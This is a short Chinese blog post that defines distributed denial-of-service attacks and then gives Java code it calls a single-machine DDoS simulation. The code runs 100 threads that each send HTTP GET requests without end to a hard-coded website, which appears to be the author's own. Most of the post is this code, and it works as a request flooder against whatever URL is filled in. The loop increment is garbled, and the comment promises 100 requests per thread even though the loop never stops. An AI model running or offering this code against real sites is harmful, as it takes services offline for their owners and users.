分布式拒绝服务(DDoS:Distributed Denial of Service)攻击指借助于客户/服务器技术,将多个计算机联合起来作为攻击平台,对一个或多个目标发动DDoS攻击,从而成倍地提高拒绝服务攻击的威力。通常,攻击者使用一个偷窃帐号将DDoS主控程序安装在一个计算机上,在一个设定的时间主控程序将与大量代理程序通讯,代理程序已经被安装在网络上的许多计算机上。代理程序收到指令时就发动攻击。利用客户/服务器技术,主控程序能在几秒钟内激活成百上千次代理程序的运行。
单机使用线程模拟
代码语言:javascript复制package ddos;
import java.io.BufferedReader;
import java.io.IOException;
import java.io.InputStream;
import java.io.InputStreamReader;
import java.net.MalformedURLException;
import java.net.URL;
import java.net.URLConnection;
import java.util.concurrent.ExecutorService;
import java.util.concurrent.Executors;
/**
* 线程类 用来多线程攻击域名服务器
* Created by wangnian on 2016/4/2.
*/
class Ddosthread implements Runnable {
String urlStr="http://www.wangnian.pub";
public void run() {
//死循环
while (true){
try {
URL url =new URL(urlStr);
URLConnection conn=url.openConnection();
InputStream inputStream= conn.getInputStream();
// 定义 BufferedReader输入流来读取URL的响应
BufferedReader in = new BufferedReader(new InputStreamReader(inputStream));
String line= in.readLine();
if(line!=null){
System.out.println("发送成功");
}else{
System.out.println("访问不了");
}
}catch (MalformedURLException e) {
System.out.println("网址错误");
} catch (IOException e) {
System.out.println("网址打不开");
}
}
}
}
public class DdosTest{
/**
* 创建100个线程分别执行100次get请求 模拟ddos攻击 服务器
*/
public static void main(String[] args) {
ExecutorService executorService= Executors.newFixedThreadPool(100);
Ddosthread ddosthread=new Ddosthread();
Thread thread=new Thread(ddosthread);
for(int i=0;i<100;i ){
executorService.execute(thread);
}
}
}
博客地址:http://my.oschina.net/wangnian